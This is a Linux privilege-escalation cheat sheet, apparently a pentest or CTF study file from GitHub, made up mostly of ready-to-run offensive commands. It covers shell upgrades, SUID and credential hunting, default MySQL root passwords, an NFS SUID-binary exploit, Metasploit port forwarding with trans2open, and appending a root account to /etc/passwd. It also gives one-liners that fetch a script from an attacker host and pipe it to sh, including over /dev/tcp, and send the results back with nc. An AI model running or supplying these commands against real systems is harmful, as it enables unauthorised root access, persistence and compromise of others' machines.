-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlinux-privesc.txt
309 lines (212 loc) · 8.18 KB
/
linux-privesc.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
# credit: the amazing sirensecurity
https://sirensecurity.io/blog/linux-privilege-escalation-resources/
g0tmilk's Guide to Linux Privilege Escalation as well:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
----------------------------------------------------------------
Low-priv shell to full TTY
----------------------------------------------------------------
# python / python3
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color ; export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
alias ll='ls -lsaht --color=auto'
# Ctrl + Z [Background Process]
stty raw -echo ; fg ; reset ; stty columns 200 rows 200
----------------------------------------------------------------
BASICS
----------------------------------------------------------------
-- Various Capabilities?
which gcc
which cc
which python
which perl
which wget
which curl
which fetch
which nc
which ncat
which nc.traditional
which socat
-- Basic system enumeration
# Get architecture, kernel, issue/release
file /bin/bash
uname -a
cat /etc/issue
cat /etc/*-release
-- Are we a real user?
sudo -l
ls -lsaht /etc/sudoers
-- Groups? Are any users a member of exotic groups?
groups <user>
--- Environment
env
https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
--- USERS?
cd /home/
ls -lsaht
--- WEB CONFIGS WITH CREDENTIALS?
cd /var/www/html/
ls -lsaht
--- SUIDs & GUIDs
Check for binaries with SUID or GUID bit set, can be used for privilege escalation
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
SUID/GUID/SUDO Escalation:
https://gtfobins.github.io/
--- GETCAP
Binary/Languages with "Effective Permitted" or "Empty Capability" (ep):
https://www.insecure.ws/linux/getcap_setcap.html#getcap-setcap-and-file-capabilities
Get Granted/Implicit (Required by a Real User) Capabilities of all files recursively throughout the system and pipe all error messages to /dev/null.
getcap -r / 2>/dev/null
----------------------------------------------------------------
MONITORING
----------------------------------------------------------------
We need to start monitoring the system if possible while performing our enumeration.
In other words:
"S1REN... Is privilege escalation going to come from some I/O file operations being done by some script on the system?"
https://github.com/DominicBreuker/pspy/blob/master/README.md
-- Pspy
cd /var/tmp/
File Transfer --> pspy32
File Transfer --> pspy64
chmod 755 pspy32 pspy64
./pspy<32/64>
-- Network listeners: What does the local network look like?
netstat -antup
netstat -tunlp
-- Root processes: Is anything vulnerable running as root?
ps aux |grep -i 'root' --color=auto
----------------------------------------------------------------
MYSQL Credentials? Root Unauthorized Access?
----------------------------------------------------------------
mysql -uroot -p
Enter Password:
root : root
root : toor
root :
----------------------------------------------------------------
User files in /etc?
----------------------------------------------------------------
S1REN would take a quick look at etc to see if any user-level people did special things:
-- Check for user-created files in /etc
cd /etc/
ls -lsaht
ls -lsaht |grep -i '.conf' --color=auto
-- Secrets in /etc?
If we have root priv information disclosure - are there any .secret in /etc/ files?
ls -lsaht |grep -i '.secret' --color=aut
----------------------------------------------------------------
SSH KEYS
----------------------------------------------------------------
SSH Keys I can use perhaps for even further compromise?
ls -lsaR /home/
----------------------------------------------------------------
INTERESTING DIRECTORIES
----------------------------------------------------------------
Quick look in:
ls -lsaht /var/lib/
ls -lsaht /var/db/
ls -lsaht /opt/
ls -lsaht /tmp/
ls -lsaht /var/tmp/
ls -lsaht /dev/shm/
----------------------------------------------------------------
File transfer capabilities
----------------------------------------------------------------
File Transfer Capability? What can I use to transfer files?
which wget
which curl
which nc
which fetch (BSD)
ls -lsaht /bin/ |grep -i 'ftp' --color=auto
----------------------------------------------------------------
NFS?
----------------------------------------------------------------
-- NFS? Can we exploit weak NFS Permissions?
cat /etc/exports
no_root_squash?
https://recipeforroot.com/attacking-nfs-shares/
[On Attacking Machine]
mkdir -p /mnt/nfs/
mount -t nfs -o vers=<version 1,2,3> $IP:<NFS Share> /mnt/nfs/ -nolock
gcc suid.c -o suid
cp suid /mnt/nfs/
chmod u+s /mnt/nfs/suid
su <user id matching target machine's user-level privilege.>
[On Target Machine]
user@host$ ./suid
#
----------------------------------------------------------------
Find your new home!
----------------------------------------------------------------
Where can I live on this machine? Where can I read, write and execute files?
/var/tmp/
/tmp/
/dev/shm/
----------------------------------------------------------------
FILE SYSTEM MOUNTS
----------------------------------------------------------------
Any exotic file system mounts/extended attributes?
cat /etc/fstab
----------------------------------------------------------------
FORWARDING WEAK SERVICE WITH ROOT PRIV
----------------------------------------------------------------
Forwarding out a weak service for root priv (with meterpreter!):
Do we need to get a meterpreter shell and forward out some ports that might be running off of the Loopback Adaptor (127.0.0.1) and forward them to any (0.0.0.0)? If I see something like Samba SMBD out of date on 127.0.0.1 - we should look to forward out the port and then run trans2open on our own machine at the forwarded port.
https://www.offensive-security.com/metasploit-unleashed/portfwd/
EXAMPLE: Forwarding out netbios-ssn:
meterpreter> portfwd add –l 139 –p 139 –r [target remote host]
meterpreter> background
use exploit/linux/samba/trans2open
set RHOSTS 0.0.0.0
set RPORT 139
run
----------------------------------------------------------------
ADDING USERS
----------------------------------------------------------------
Can we write as a low-privileged user to /etc/passwd?
openssl passwd -1
i<3hacking
$1$/UTMXpPC$Wrv6PM4eRHhB1/m1P.t9l.
echo 'siren:$1$/UTMXpPC$Wrv6PM4eRHhB1/m1P.t9l.:0:0:siren:/home/siren:/bin/bash' >> /etc/passwd
su siren
id
----------------------------------------------------------------
CRON
----------------------------------------------------------------
Check cron jobs
crontab –u root –l
Look for unusual system-wide cron jobs:
cat /etc/crontab
ls /etc/cron.*
----------------------------------------------------------------
USER HISTORY & MAIL
----------------------------------------------------------------
Bob is a user on this machine. What is every single file he has ever created?
find / -user miguel 2>/dev/null
Any mail? mbox in User $HOME directory?
cd /var/mail/
ls -lsaht
----------------------------------------------------------------
LINPEAS
----------------------------------------------------------------
# Local network
sudo python3 -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim
# Without curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim
# Excute from memory and send output back to the host
nc -lvnp 9002 | tee linpeas.out #Host
curl 10.10.14.20:8000/linpeas.sh | sh | nc 10.10.14.20 9002 #Victim
----------------------------------------------------------------
RESOURCES
----------------------------------------------------------------
Linpease:
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
Traitor:
https://github.com/liamg/traitor
GTFOBins:
https://gtfobins.github.io/
PSpy32/Pspy64:
https://github.com/DominicBreuker/pspy/blob/master/README.md